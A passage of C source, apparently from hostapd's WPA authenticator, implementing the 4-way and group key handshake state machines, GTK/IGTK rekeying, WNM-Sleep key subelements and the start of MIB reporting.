1) { /* Do not allow retransmission of EAPOL-Key msg 3/4 */ return; } if (sm->TimeoutCtr > sm->wpa_auth->conf.wpa_pairwise_update_count) { /* No point in sending the EAPOL-Key - we will disconnect * immediately following this. */ return; } /* Send EAPOL(1, 1, 1, Pair, P, RSC, ANonce, MIC(PTK), RSNIE, [MDIE], GTK[GN], IGTK, [FTIE], [TIE * 2]) */ os_memset(rsc, 0, WPA_KEY_RSC_LEN); wpa_auth_get_seqnum(sm->wpa_auth, NULL, gsm->GN, rsc); /* If FT is used, wpa_auth->wpa_ie includes both RSNIE and MDIE */ wpa_ie = sm->wpa_auth->wpa_ie; wpa_ie_len = sm->wpa_auth->wpa_ie_len; if (sm->wpa == WPA_VERSION_WPA && (sm->wpa_auth->conf.wpa & WPA_PROTO_RSN) && wpa_ie_len > wpa_ie[1] + 2 && wpa_ie[0] == WLAN_EID_RSN) { /* WPA-only STA, remove RSN IE and possible MDIE */ wpa_ie = wpa_ie + wpa_ie[1] + 2; if (wpa_ie[0] == WLAN_EID_MOBILITY_DOMAIN) wpa_ie = wpa_ie + wpa_ie[1] + 2; wpa_ie_len = wpa_ie[1] + 2; } wpa_auth_logger(sm->wpa_auth, sm->addr, LOGGER_DEBUG, "sending 3/4 msg of 4-Way Handshake"); if (sm->wpa == WPA_VERSION_WPA2) { /* WPA2 send GTK in the 4-way handshake */ secure = 1; gtk = gsm->GTK[gsm->GN - 1]; gtk_len = gsm->GTK_len; if (sm->wpa_auth->conf.disable_gtk || sm->wpa_key_mgmt == WPA_KEY_MGMT_OSEN) { /* * Provide unique random GTK to each STA to prevent use * of GTK in the BSS. */ if (random_get_bytes(dummy_gtk, gtk_len) < 0) return; gtk = dummy_gtk; } keyidx = gsm->GN; _rsc = rsc; encr = 1; } else { /* WPA does not include GTK in msg 3/4 */ secure = 0; gtk = NULL; gtk_len = 0; keyidx = 0; _rsc = NULL; if (sm->rx_eapol_key_secure) { /* * It looks like Windows 7 supplicant tries to use * Secure bit in msg 2/4 after having reported Michael * MIC failure and it then rejects the 4-way handshake * if msg 3/4 does not set Secure bit. Work around this * by setting the Secure bit here even in the case of * WPA if the supplicant used it first. */ wpa_auth_logger(sm->wpa_auth, sm->addr, LOGGER_DEBUG, "STA used Secure bit in WPA msg 2/4 - " "set Secure for 3/4 as workaround"); secure = 1; } } kde_len = wpa_ie_len + ieee80211w_kde_len(sm); if (gtk) kde_len += 2 + RSN_SELECTOR_LEN + 2 + gtk_len; #ifdef CONFIG_IEEE80211R_AP if (wpa_key_mgmt_ft(sm->wpa_key_mgmt)) { kde_len += 2 + PMKID_LEN; /* PMKR1Name into RSN IE */ kde_len += 300; /* FTIE + 2 * TIE */ } #endif /* CONFIG_IEEE80211R_AP */ #ifdef CONFIG_P2P if (WPA_GET_BE32(sm->ip_addr) > 0) kde_len += 2 + RSN_SELECTOR_LEN + 3 * 4; #endif /* CONFIG_P2P */ kde = os_malloc(kde_len); if (kde == NULL) return; pos = kde; os_memcpy(pos, wpa_ie, wpa_ie_len); pos += wpa_ie_len; #ifdef CONFIG_IEEE80211R_AP if (wpa_key_mgmt_ft(sm->wpa_key_mgmt)) { int res; size_t elen; elen = pos - kde; res = wpa_insert_pmkid(kde, &elen, sm->pmk_r1_name); if (res < 0) { wpa_printf(MSG_ERROR, "FT: Failed to insert " "PMKR1Name into RSN IE in EAPOL-Key data"); os_free(kde); return; } pos -= wpa_ie_len; pos += elen; } #endif /* CONFIG_IEEE80211R_AP */ if (gtk) { u8 hdr[2]; hdr[0] = keyidx & 0x03; hdr[1] = 0; pos = wpa_add_kde(pos, RSN_KEY_DATA_GROUPKEY, hdr, 2, gtk, gtk_len); } pos = ieee80211w_kde_add(sm, pos); #ifdef CONFIG_IEEE80211R_AP if (wpa_key_mgmt_ft(sm->wpa_key_mgmt)) { int res; struct wpa_auth_config *conf; conf = &sm->wpa_auth->conf; if (sm->assoc_resp_ftie && kde + kde_len - pos >= 2 + sm->assoc_resp_ftie[1]) { os_memcpy(pos, sm->assoc_resp_ftie, 2 + sm->assoc_resp_ftie[1]); res = 2 + sm->assoc_resp_ftie[1]; } else { int use_sha384 = wpa_key_mgmt_sha384(sm->wpa_key_mgmt); res = wpa_write_ftie(conf, use_sha384, conf->r0_key_holder, conf->r0_key_holder_len, NULL, NULL, pos, kde + kde_len - pos, NULL, 0); } if (res < 0) { wpa_printf(MSG_ERROR, "FT: Failed to insert FTIE " "into EAPOL-Key Key Data"); os_free(kde); return; } pos += res; /* TIE[ReassociationDeadline] (TU) */ *pos++ = WLAN_EID_TIMEOUT_INTERVAL; *pos++ = 5; *pos++ = WLAN_TIMEOUT_REASSOC_DEADLINE; WPA_PUT_LE32(pos, conf->reassociation_deadline); pos += 4; /* TIE[KeyLifetime] (seconds) */ *pos++ = WLAN_EID_TIMEOUT_INTERVAL; *pos++ = 5; *pos++ = WLAN_TIMEOUT_KEY_LIFETIME; WPA_PUT_LE32(pos, conf->r0_key_lifetime); pos += 4; } #endif /* CONFIG_IEEE80211R_AP */ #ifdef CONFIG_P2P if (WPA_GET_BE32(sm->ip_addr) > 0) { u8 addr[3 * 4]; os_memcpy(addr, sm->ip_addr, 4); os_memcpy(addr + 4, sm->wpa_auth->conf.ip_addr_mask, 4); os_memcpy(addr + 8, sm->wpa_auth->conf.ip_addr_go, 4); pos = wpa_add_kde(pos, WFA_KEY_DATA_IP_ADDR_ALLOC, addr, sizeof(addr), NULL, 0); } #endif /* CONFIG_P2P */ wpa_send_eapol(sm->wpa_auth, sm, (secure ? WPA_KEY_INFO_SECURE : 0) | (wpa_mic_len(sm->wpa_key_mgmt, sm->pmk_len) ? WPA_KEY_INFO_MIC : 0) | WPA_KEY_INFO_ACK | WPA_KEY_INFO_INSTALL | WPA_KEY_INFO_KEY_TYPE, _rsc, sm->ANonce, kde, pos - kde, keyidx, encr); os_free(kde); } SM_STATE(WPA_PTK, PTKINITDONE) { SM_ENTRY_MA(WPA_PTK, PTKINITDONE, wpa_ptk); sm->EAPOLKeyReceived = FALSE; if (sm->Pair) { enum wpa_alg alg = wpa_cipher_to_alg(sm->pairwise); int klen = wpa_cipher_key_len(sm->pairwise); if (wpa_auth_set_key(sm->wpa_auth, 0, alg, sm->addr, 0, sm->PTK.tk, klen)) { wpa_sta_disconnect(sm->wpa_auth, sm->addr, WLAN_REASON_PREV_AUTH_NOT_VALID); return; } /* FIX: MLME-SetProtection.Request(TA, Tx_Rx) */ sm->pairwise_set = TRUE; if (sm->wpa_auth->conf.wpa_ptk_rekey) { eloop_cancel_timeout(wpa_rekey_ptk, sm->wpa_auth, sm); eloop_register_timeout(sm->wpa_auth->conf. wpa_ptk_rekey, 0, wpa_rekey_ptk, sm->wpa_auth, sm); } if (wpa_key_mgmt_wpa_psk(sm->wpa_key_mgmt) || sm->wpa_key_mgmt == WPA_KEY_MGMT_DPP || sm->wpa_key_mgmt == WPA_KEY_MGMT_OWE) { wpa_auth_set_eapol(sm->wpa_auth, sm->addr, WPA_EAPOL_authorized, 1); } } if (0 /* IBSS == TRUE */) { sm->keycount++; if (sm->keycount == 2) { wpa_auth_set_eapol(sm->wpa_auth, sm->addr, WPA_EAPOL_portValid, 1); } } else { wpa_auth_set_eapol(sm->wpa_auth, sm->addr, WPA_EAPOL_portValid, 1); } wpa_auth_set_eapol(sm->wpa_auth, sm->addr, WPA_EAPOL_keyAvailable, 0); wpa_auth_set_eapol(sm->wpa_auth, sm->addr, WPA_EAPOL_keyDone, 1); if (sm->wpa == WPA_VERSION_WPA) sm->PInitAKeys = TRUE; else sm->has_GTK = TRUE; wpa_auth_vlogger(sm->wpa_auth, sm->addr, LOGGER_INFO, "pairwise key handshake completed (%s)", sm->wpa == WPA_VERSION_WPA ? "WPA" : "RSN"); #ifdef CONFIG_IEEE80211R_AP wpa_ft_push_pmk_r1(sm->wpa_auth, sm->addr); #endif /* CONFIG_IEEE80211R_AP */ } SM_STEP(WPA_PTK) { struct wpa_authenticator *wpa_auth = sm->wpa_auth; if (sm->Init) SM_ENTER(WPA_PTK, INITIALIZE); else if (sm->Disconnect /* || FIX: dot11RSNAConfigSALifetime timeout */) { wpa_auth_logger(wpa_auth, sm->addr, LOGGER_DEBUG, "WPA_PTK: sm->Disconnect"); SM_ENTER(WPA_PTK, DISCONNECT); } else if (sm->DeauthenticationRequest) SM_ENTER(WPA_PTK, DISCONNECTED); else if (sm->AuthenticationRequest) SM_ENTER(WPA_PTK, AUTHENTICATION); else if (sm->ReAuthenticationRequest) SM_ENTER(WPA_PTK, AUTHENTICATION2); else if (sm->PTKRequest) { if (wpa_auth_sm_ptk_update(sm) < 0) SM_ENTER(WPA_PTK, DISCONNECTED); else SM_ENTER(WPA_PTK, PTKSTART); } else switch (sm->wpa_ptk_state) { case WPA_PTK_INITIALIZE: break; case WPA_PTK_DISCONNECT: SM_ENTER(WPA_PTK, DISCONNECTED); break; case WPA_PTK_DISCONNECTED: SM_ENTER(WPA_PTK, INITIALIZE); break; case WPA_PTK_AUTHENTICATION: SM_ENTER(WPA_PTK, AUTHENTICATION2); break; case WPA_PTK_AUTHENTICATION2: if (wpa_key_mgmt_wpa_ieee8021x(sm->wpa_key_mgmt) && wpa_auth_get_eapol(sm->wpa_auth, sm->addr, WPA_EAPOL_keyRun) > 0) SM_ENTER(WPA_PTK, INITPMK); else if (wpa_key_mgmt_wpa_psk(sm->wpa_key_mgmt) || sm->wpa_key_mgmt == WPA_KEY_MGMT_OWE /* FIX: && 802.1X::keyRun */) SM_ENTER(WPA_PTK, INITPSK); else if (sm->wpa_key_mgmt == WPA_KEY_MGMT_DPP) SM_ENTER(WPA_PTK, INITPMK); break; case WPA_PTK_INITPMK: if (wpa_auth_get_eapol(sm->wpa_auth, sm->addr, WPA_EAPOL_keyAvailable) > 0) { SM_ENTER(WPA_PTK, PTKSTART); #ifdef CONFIG_DPP } else if (sm->wpa_key_mgmt == WPA_KEY_MGMT_DPP && sm->pmksa) { SM_ENTER(WPA_PTK, PTKSTART); #endif /* CONFIG_DPP */ } else { wpa_auth->dot11RSNA4WayHandshakeFailures++; wpa_auth_logger(sm->wpa_auth, sm->addr, LOGGER_INFO, "INITPMK - keyAvailable = false"); SM_ENTER(WPA_PTK, DISCONNECT); } break; case WPA_PTK_INITPSK: if (wpa_auth_get_psk(sm->wpa_auth, sm->addr, sm->p2p_dev_addr, NULL, NULL)) { SM_ENTER(WPA_PTK, PTKSTART); #ifdef CONFIG_SAE } else if (wpa_auth_uses_sae(sm) && sm->pmksa) { SM_ENTER(WPA_PTK, PTKSTART); #endif /* CONFIG_SAE */ } else { wpa_auth_logger(sm->wpa_auth, sm->addr, LOGGER_INFO, "no PSK configured for the STA"); wpa_auth->dot11RSNA4WayHandshakeFailures++; SM_ENTER(WPA_PTK, DISCONNECT); } break; case WPA_PTK_PTKSTART: if (sm->EAPOLKeyReceived && !sm->EAPOLKeyRequest && sm->EAPOLKeyPairwise) SM_ENTER(WPA_PTK, PTKCALCNEGOTIATING); else if (sm->TimeoutCtr > sm->wpa_auth->conf.wpa_pairwise_update_count) { wpa_auth->dot11RSNA4WayHandshakeFailures++; wpa_auth_vlogger( sm->wpa_auth, sm->addr, LOGGER_DEBUG, "PTKSTART: Retry limit %u reached", sm->wpa_auth->conf.wpa_pairwise_update_count); SM_ENTER(WPA_PTK, DISCONNECT); } else if (sm->TimeoutEvt) SM_ENTER(WPA_PTK, PTKSTART); break; case WPA_PTK_PTKCALCNEGOTIATING: if (sm->MICVerified) SM_ENTER(WPA_PTK, PTKCALCNEGOTIATING2); else if (sm->EAPOLKeyReceived && !sm->EAPOLKeyRequest && sm->EAPOLKeyPairwise) SM_ENTER(WPA_PTK, PTKCALCNEGOTIATING); else if (sm->TimeoutEvt) SM_ENTER(WPA_PTK, PTKSTART); break; case WPA_PTK_PTKCALCNEGOTIATING2: SM_ENTER(WPA_PTK, PTKINITNEGOTIATING); break; case WPA_PTK_PTKINITNEGOTIATING: if (sm->update_snonce) SM_ENTER(WPA_PTK, PTKCALCNEGOTIATING); else if (sm->EAPOLKeyReceived && !sm->EAPOLKeyRequest && sm->EAPOLKeyPairwise && sm->MICVerified) SM_ENTER(WPA_PTK, PTKINITDONE); else if (sm->TimeoutCtr > sm->wpa_auth->conf.wpa_pairwise_update_count || (sm->wpa_auth->conf.wpa_disable_eapol_key_retries && sm->TimeoutCtr > 1)) { wpa_auth->dot11RSNA4WayHandshakeFailures++; wpa_auth_vlogger( sm->wpa_auth, sm->addr, LOGGER_DEBUG, "PTKINITNEGOTIATING: Retry limit %u reached", sm->wpa_auth->conf.wpa_pairwise_update_count); SM_ENTER(WPA_PTK, DISCONNECT); } else if (sm->TimeoutEvt) SM_ENTER(WPA_PTK, PTKINITNEGOTIATING); break; case WPA_PTK_PTKINITDONE: break; } } SM_STATE(WPA_PTK_GROUP, IDLE) { SM_ENTRY_MA(WPA_PTK_GROUP, IDLE, wpa_ptk_group); if (sm->Init) { /* Init flag is not cleared here, so avoid busy * loop by claiming nothing changed. */ sm->changed = FALSE; } sm->GTimeoutCtr = 0; } SM_STATE(WPA_PTK_GROUP, REKEYNEGOTIATING) { u8 rsc[WPA_KEY_RSC_LEN]; struct wpa_group *gsm = sm->group; const u8 *kde; u8 *kde_buf = NULL, *pos, hdr[2]; size_t kde_len; u8 *gtk, dummy_gtk[32]; SM_ENTRY_MA(WPA_PTK_GROUP, REKEYNEGOTIATING, wpa_ptk_group); sm->GTimeoutCtr++; if (sm->wpa_auth->conf.wpa_disable_eapol_key_retries && sm->GTimeoutCtr > 1) { /* Do not allow retransmission of EAPOL-Key group msg 1/2 */ return; } if (sm->GTimeoutCtr > sm->wpa_auth->conf.wpa_group_update_count) { /* No point in sending the EAPOL-Key - we will disconnect * immediately following this. */ return; } if (sm->wpa == WPA_VERSION_WPA) sm->PInitAKeys = FALSE; sm->TimeoutEvt = FALSE; /* Send EAPOL(1, 1, 1, !Pair, G, RSC, GNonce, MIC(PTK), GTK[GN]) */ os_memset(rsc, 0, WPA_KEY_RSC_LEN); if (gsm->wpa_group_state == WPA_GROUP_SETKEYSDONE) wpa_auth_get_seqnum(sm->wpa_auth, NULL, gsm->GN, rsc); wpa_auth_logger(sm->wpa_auth, sm->addr, LOGGER_DEBUG, "sending 1/2 msg of Group Key Handshake"); gtk = gsm->GTK[gsm->GN - 1]; if (sm->wpa_auth->conf.disable_gtk || sm->wpa_key_mgmt == WPA_KEY_MGMT_OSEN) { /* * Provide unique random GTK to each STA to prevent use * of GTK in the BSS. */ if (random_get_bytes(dummy_gtk, gsm->GTK_len) < 0) return; gtk = dummy_gtk; } if (sm->wpa == WPA_VERSION_WPA2) { kde_len = 2 + RSN_SELECTOR_LEN + 2 + gsm->GTK_len + ieee80211w_kde_len(sm); kde_buf = os_malloc(kde_len); if (kde_buf == NULL) return; kde = pos = kde_buf; hdr[0] = gsm->GN & 0x03; hdr[1] = 0; pos = wpa_add_kde(pos, RSN_KEY_DATA_GROUPKEY, hdr, 2, gtk, gsm->GTK_len); pos = ieee80211w_kde_add(sm, pos); kde_len = pos - kde; } else { kde = gtk; kde_len = gsm->GTK_len; } wpa_send_eapol(sm->wpa_auth, sm, WPA_KEY_INFO_SECURE | (wpa_mic_len(sm->wpa_key_mgmt, sm->pmk_len) ? WPA_KEY_INFO_MIC : 0) | WPA_KEY_INFO_ACK | (!sm->Pair ? WPA_KEY_INFO_INSTALL : 0), rsc, NULL, kde, kde_len, gsm->GN, 1); os_free(kde_buf); } SM_STATE(WPA_PTK_GROUP, REKEYESTABLISHED) { SM_ENTRY_MA(WPA_PTK_GROUP, REKEYESTABLISHED, wpa_ptk_group); sm->EAPOLKeyReceived = FALSE; if (sm->GUpdateStationKeys) sm->group->GKeyDoneStations--; sm->GUpdateStationKeys = FALSE; sm->GTimeoutCtr = 0; /* FIX: MLME.SetProtection.Request(TA, Tx_Rx) */ wpa_auth_vlogger(sm->wpa_auth, sm->addr, LOGGER_INFO, "group key handshake completed (%s)", sm->wpa == WPA_VERSION_WPA ? "WPA" : "RSN"); sm->has_GTK = TRUE; } SM_STATE(WPA_PTK_GROUP, KEYERROR) { SM_ENTRY_MA(WPA_PTK_GROUP, KEYERROR, wpa_ptk_group); if (sm->GUpdateStationKeys) sm->group->GKeyDoneStations--; sm->GUpdateStationKeys = FALSE; sm->Disconnect = TRUE; wpa_auth_vlogger(sm->wpa_auth, sm->addr, LOGGER_INFO, "group key handshake failed (%s) after %u tries", sm->wpa == WPA_VERSION_WPA ? "WPA" : "RSN", sm->wpa_auth->conf.wpa_group_update_count); } SM_STEP(WPA_PTK_GROUP) { if (sm->Init || sm->PtkGroupInit) { SM_ENTER(WPA_PTK_GROUP, IDLE); sm->PtkGroupInit = FALSE; } else switch (sm->wpa_ptk_group_state) { case WPA_PTK_GROUP_IDLE: if (sm->GUpdateStationKeys || (sm->wpa == WPA_VERSION_WPA && sm->PInitAKeys)) SM_ENTER(WPA_PTK_GROUP, REKEYNEGOTIATING); break; case WPA_PTK_GROUP_REKEYNEGOTIATING: if (sm->EAPOLKeyReceived && !sm->EAPOLKeyRequest && !sm->EAPOLKeyPairwise && sm->MICVerified) SM_ENTER(WPA_PTK_GROUP, REKEYESTABLISHED); else if (sm->GTimeoutCtr > sm->wpa_auth->conf.wpa_group_update_count || (sm->wpa_auth->conf.wpa_disable_eapol_key_retries && sm->GTimeoutCtr > 1)) SM_ENTER(WPA_PTK_GROUP, KEYERROR); else if (sm->TimeoutEvt) SM_ENTER(WPA_PTK_GROUP, REKEYNEGOTIATING); break; case WPA_PTK_GROUP_KEYERROR: SM_ENTER(WPA_PTK_GROUP, IDLE); break; case WPA_PTK_GROUP_REKEYESTABLISHED: SM_ENTER(WPA_PTK_GROUP, IDLE); break; } } static int wpa_gtk_update(struct wpa_authenticator *wpa_auth, struct wpa_group *group) { int ret = 0; os_memcpy(group->GNonce, group->Counter, WPA_NONCE_LEN); inc_byte_array(group->Counter, WPA_NONCE_LEN); if (wpa_gmk_to_gtk(group->GMK, "Group key expansion", wpa_auth->addr, group->GNonce, group->GTK[group->GN - 1], group->GTK_len) < 0) ret = -1; wpa_hexdump_key(MSG_DEBUG, "GTK", group->GTK[group->GN - 1], group->GTK_len); #ifdef CONFIG_IEEE80211W if (wpa_auth->conf.ieee80211w != NO_MGMT_FRAME_PROTECTION) { size_t len; len = wpa_cipher_key_len(wpa_auth->conf.group_mgmt_cipher); os_memcpy(group->GNonce, group->Counter, WPA_NONCE_LEN); inc_byte_array(group->Counter, WPA_NONCE_LEN); if (wpa_gmk_to_gtk(group->GMK, "IGTK key expansion", wpa_auth->addr, group->GNonce, group->IGTK[group->GN_igtk - 4], len) < 0) ret = -1; wpa_hexdump_key(MSG_DEBUG, "IGTK", group->IGTK[group->GN_igtk - 4], len); } #endif /* CONFIG_IEEE80211W */ return ret; } static void wpa_group_gtk_init(struct wpa_authenticator *wpa_auth, struct wpa_group *group) { wpa_printf(MSG_DEBUG, "WPA: group state machine entering state " "GTK_INIT (VLAN-ID %d)", group->vlan_id); group->changed = FALSE; /* GInit is not cleared here; avoid loop */ group->wpa_group_state = WPA_GROUP_GTK_INIT; /* GTK[0..N] = 0 */ os_memset(group->GTK, 0, sizeof(group->GTK)); group->GN = 1; group->GM = 2; #ifdef CONFIG_IEEE80211W group->GN_igtk = 4; group->GM_igtk = 5; #endif /* CONFIG_IEEE80211W */ /* GTK[GN] = CalcGTK() */ wpa_gtk_update(wpa_auth, group); } static int wpa_group_update_sta(struct wpa_state_machine *sm, void *ctx) { if (ctx != NULL && ctx != sm->group) return 0; if (sm->wpa_ptk_state != WPA_PTK_PTKINITDONE) { wpa_auth_logger(sm->wpa_auth, sm->addr, LOGGER_DEBUG, "Not in PTKINITDONE; skip Group Key update"); sm->GUpdateStationKeys = FALSE; return 0; } if (sm->GUpdateStationKeys) { /* * This should not really happen, so add a debug log entry. * Since we clear the GKeyDoneStations before the loop, the * station needs to be counted here anyway. */ wpa_auth_logger(sm->wpa_auth, sm->addr, LOGGER_DEBUG, "GUpdateStationKeys was already set when " "marking station for GTK rekeying"); } /* Do not rekey GTK/IGTK when STA is in WNM-Sleep Mode */ if (sm->is_wnmsleep) return 0; sm->group->GKeyDoneStations++; sm->GUpdateStationKeys = TRUE; wpa_sm_step(sm); return 0; } #ifdef CONFIG_WNM_AP /* update GTK when exiting WNM-Sleep Mode */ void wpa_wnmsleep_rekey_gtk(struct wpa_state_machine *sm) { if (sm == NULL || sm->is_wnmsleep) return; wpa_group_update_sta(sm, NULL); } void wpa_set_wnmsleep(struct wpa_state_machine *sm, int flag) { if (sm) sm->is_wnmsleep = !!flag; } int wpa_wnmsleep_gtk_subelem(struct wpa_state_machine *sm, u8 *pos) { struct wpa_group *gsm = sm->group; u8 *start = pos; /* * GTK subelement: * Sub-elem ID[1] | Length[1] | Key Info[2] | Key Length[1] | RSC[8] | * Key[5..32] */ *pos++ = WNM_SLEEP_SUBELEM_GTK; *pos++ = 11 + gsm->GTK_len; /* Key ID in B0-B1 of Key Info */ WPA_PUT_LE16(pos, gsm->GN & 0x03); pos += 2; *pos++ = gsm->GTK_len; if (wpa_auth_get_seqnum(sm->wpa_auth, NULL, gsm->GN, pos) != 0) return 0; pos += 8; os_memcpy(pos, gsm->GTK[gsm->GN - 1], gsm->GTK_len); pos += gsm->GTK_len; wpa_printf(MSG_DEBUG, "WNM: GTK Key ID %u in WNM-Sleep Mode exit", gsm->GN); wpa_hexdump_key(MSG_DEBUG, "WNM: GTK in WNM-Sleep Mode exit", gsm->GTK[gsm->GN - 1], gsm->GTK_len); return pos - start; } #ifdef CONFIG_IEEE80211W int wpa_wnmsleep_igtk_subelem(struct wpa_state_machine *sm, u8 *pos) { struct wpa_group *gsm = sm->group; u8 *start = pos; size_t len = wpa_cipher_key_len(sm->wpa_auth->conf.group_mgmt_cipher); /* * IGTK subelement: * Sub-elem ID[1] | Length[1] | KeyID[2] | PN[6] | Key[16] */ *pos++ = WNM_SLEEP_SUBELEM_IGTK; *pos++ = 2 + 6 + len; WPA_PUT_LE16(pos, gsm->GN_igtk); pos += 2; if (wpa_auth_get_seqnum(sm->wpa_auth, NULL, gsm->GN_igtk, pos) != 0) return 0; pos += 6; os_memcpy(pos, gsm->IGTK[gsm->GN_igtk - 4], len); pos += len; wpa_printf(MSG_DEBUG, "WNM: IGTK Key ID %u in WNM-Sleep Mode exit", gsm->GN_igtk); wpa_hexdump_key(MSG_DEBUG, "WNM: IGTK in WNM-Sleep Mode exit", gsm->IGTK[gsm->GN_igtk - 4], len); return pos - start; } #endif /* CONFIG_IEEE80211W */ #endif /* CONFIG_WNM_AP */ static void wpa_group_setkeys(struct wpa_authenticator *wpa_auth, struct wpa_group *group) { int tmp; wpa_printf(MSG_DEBUG, "WPA: group state machine entering state " "SETKEYS (VLAN-ID %d)", group->vlan_id); group->changed = TRUE; group->wpa_group_state = WPA_GROUP_SETKEYS; group->GTKReKey = FALSE; tmp = group->GM; group->GM = group->GN; group->GN = tmp; #ifdef CONFIG_IEEE80211W tmp = group->GM_igtk; group->GM_igtk = group->GN_igtk; group->GN_igtk = tmp; #endif /* CONFIG_IEEE80211W */ /* "GKeyDoneStations = GNoStations" is done in more robust way by * counting the STAs that are marked with GUpdateStationKeys instead of * including all STAs that could be in not-yet-completed state. */ wpa_gtk_update(wpa_auth, group); if (group->GKeyDoneStations) { wpa_printf(MSG_DEBUG, "wpa_group_setkeys: Unexpected " "GKeyDoneStations=%d when starting new GTK rekey", group->GKeyDoneStations); group->GKeyDoneStations = 0; } wpa_auth_for_each_sta(wpa_auth, wpa_group_update_sta, group); wpa_printf(MSG_DEBUG, "wpa_group_setkeys: GKeyDoneStations=%d", group->GKeyDoneStations); } static int wpa_group_config_group_keys(struct wpa_authenticator *wpa_auth, struct wpa_group *group) { int ret = 0; if (wpa_auth_set_key(wpa_auth, group->vlan_id, wpa_cipher_to_alg(wpa_auth->conf.wpa_group), broadcast_ether_addr, group->GN, group->GTK[group->GN - 1], group->GTK_len) < 0) ret = -1; #ifdef CONFIG_IEEE80211W if (wpa_auth->conf.ieee80211w != NO_MGMT_FRAME_PROTECTION) { enum wpa_alg alg; size_t len; alg = wpa_cipher_to_alg(wpa_auth->conf.group_mgmt_cipher); len = wpa_cipher_key_len(wpa_auth->conf.group_mgmt_cipher); if (ret == 0 && wpa_auth_set_key(wpa_auth, group->vlan_id, alg, broadcast_ether_addr, group->GN_igtk, group->IGTK[group->GN_igtk - 4], len) < 0) ret = -1; } #endif /* CONFIG_IEEE80211W */ return ret; } static int wpa_group_disconnect_cb(struct wpa_state_machine *sm, void *ctx) { if (sm->group == ctx) { wpa_printf(MSG_DEBUG, "WPA: Mark STA " MACSTR " for discconnection due to fatal failure", MAC2STR(sm->addr)); sm->Disconnect = TRUE; } return 0; } static void wpa_group_fatal_failure(struct wpa_authenticator *wpa_auth, struct wpa_group *group) { wpa_printf(MSG_DEBUG, "WPA: group state machine entering state FATAL_FAILURE"); group->changed = TRUE; group->wpa_group_state = WPA_GROUP_FATAL_FAILURE; wpa_auth_for_each_sta(wpa_auth, wpa_group_disconnect_cb, group); } static int wpa_group_setkeysdone(struct wpa_authenticator *wpa_auth, struct wpa_group *group) { wpa_printf(MSG_DEBUG, "WPA: group state machine entering state " "SETKEYSDONE (VLAN-ID %d)", group->vlan_id); group->changed = TRUE; group->wpa_group_state = WPA_GROUP_SETKEYSDONE; if (wpa_group_config_group_keys(wpa_auth, group) < 0) { wpa_group_fatal_failure(wpa_auth, group); return -1; } return 0; } static void wpa_group_sm_step(struct wpa_authenticator *wpa_auth, struct wpa_group *group) { if (group->GInit) { wpa_group_gtk_init(wpa_auth, group); } else if (group->wpa_group_state == WPA_GROUP_FATAL_FAILURE) { /* Do not allow group operations */ } else if (group->wpa_group_state == WPA_GROUP_GTK_INIT && group->GTKAuthenticator) { wpa_group_setkeysdone(wpa_auth, group); } else if (group->wpa_group_state == WPA_GROUP_SETKEYSDONE && group->GTKReKey) { wpa_group_setkeys(wpa_auth, group); } else if (group->wpa_group_state == WPA_GROUP_SETKEYS) { if (group->GKeyDoneStations == 0) wpa_group_setkeysdone(wpa_auth, group); else if (group->GTKReKey) wpa_group_setkeys(wpa_auth, group); } } static int wpa_sm_step(struct wpa_state_machine *sm) { if (sm == NULL) return 0; if (sm->in_step_loop) { /* This should not happen, but if it does, make sure we do not * end up freeing the state machine too early by exiting the * recursive call. */ wpa_printf(MSG_ERROR, "WPA: wpa_sm_step() called recursively"); return 0; } sm->in_step_loop = 1; do { if (sm->pending_deinit) break; sm->changed = FALSE; sm->wpa_auth->group->changed = FALSE; SM_STEP_RUN(WPA_PTK); if (sm->pending_deinit) break; SM_STEP_RUN(WPA_PTK_GROUP); if (sm->pending_deinit) break; wpa_group_sm_step(sm->wpa_auth, sm->group); } while (sm->changed || sm->wpa_auth->group->changed); sm->in_step_loop = 0; if (sm->pending_deinit) { wpa_printf(MSG_DEBUG, "WPA: Completing pending STA state " "machine deinit for " MACSTR, MAC2STR(sm->addr)); wpa_free_sta_sm(sm); return 1; } return 0; } static void wpa_sm_call_step(void *eloop_ctx, void *timeout_ctx) { struct wpa_state_machine *sm = eloop_ctx; wpa_sm_step(sm); } void wpa_auth_sm_notify(struct wpa_state_machine *sm) { if (sm == NULL) return; eloop_register_timeout(0, 0, wpa_sm_call_step, sm, NULL); } void wpa_gtk_rekey(struct wpa_authenticator *wpa_auth) { int tmp, i; struct wpa_group *group; if (wpa_auth == NULL) return; group = wpa_auth->group; for (i = 0; i < 2; i++) { tmp = group->GM; group->GM = group->GN; group->GN = tmp; #ifdef CONFIG_IEEE80211W tmp = group->GM_igtk; group->GM_igtk = group->GN_igtk; group->GN_igtk = tmp; #endif /* CONFIG_IEEE80211W */ wpa_gtk_update(wpa_auth, group); wpa_group_config_group_keys(wpa_auth, group); } } static const char * wpa_bool_txt(int val) { return val ? "TRUE" : "FALSE"; } #define RSN_SUITE "%02x-%02x-%02x-%d" #define RSN_SUITE_ARG(s) \ ((s) >> 24) & 0xff, ((s) >> 16) & 0xff, ((s) >> 8) & 0xff, (s) & 0xff int wpa_get_mib(struct wpa_authenticator *wpa_auth, char *buf, size_t buflen) { int len = 0, ret; char pmkid_txt[PMKID_LEN * 2 + 1]; #ifdef CONFIG_RSN_PREAUTH const int preauth = 1; #else /* CONFIG_RSN_PREAUTH */ const int preauth = 0; #endif /* CONFIG_RSN_PREAUTH */ if (wpa_auth == NULL) return len; ret = os_snprintf(buf + len, buflen - len, "dot11RSNAOptionImplemented=TRUE\n" "dot11RSNAPreauthenticationImplemented=%s\n" "dot11RSNAEnabled=%s\n" "dot11RSNAPreauthenticationEnabled=%s\n", wpa_bool_txt(preauth), wpa_bool_txt(wpa_auth->conf.wpa & WPA_PROTO_RSN), wpa_bool_txt(wpa_auth->conf.rsn_preauth)); if (os_snprintf_error(buflen - len, ret)) return len; len += ret; wpa_snprintf_hex(pmkid_txt, sizeof(pmkid_txt), wpa_auth->dot11RSNAPMKIDUsed, PMKID_LEN); ret = os_snprintf( buf + len, buflen - len, "dot11RSNAConfigVersion=%u\n" "dot11RSNAConfigPairwiseKeysSupported=9999\n" /* FIX: dot11RSNAConfigGroupCipher */ /* FIX: dot11RSNAConfigGroupRekeyMethod */ /* FIX: dot11RSNAConfigGroupRekeyTime */ /* FIX: dot11RSNAConfigGroupRekeyPackets */ "dot11RSNAConfigGroupRekeyStrict=%u\n" "dot11RSNAConfigGroupUpdateCount=%u\n" "dot11RSNAConfigPairwiseUpdateCount=%u\n" "dot11RSNAConfigGroupCipherSize=%u\n" "dot11RSNAConfigPMKLifetime=%u\n" "dot11RSNAConfigPMKReauthThreshold=%u\n" 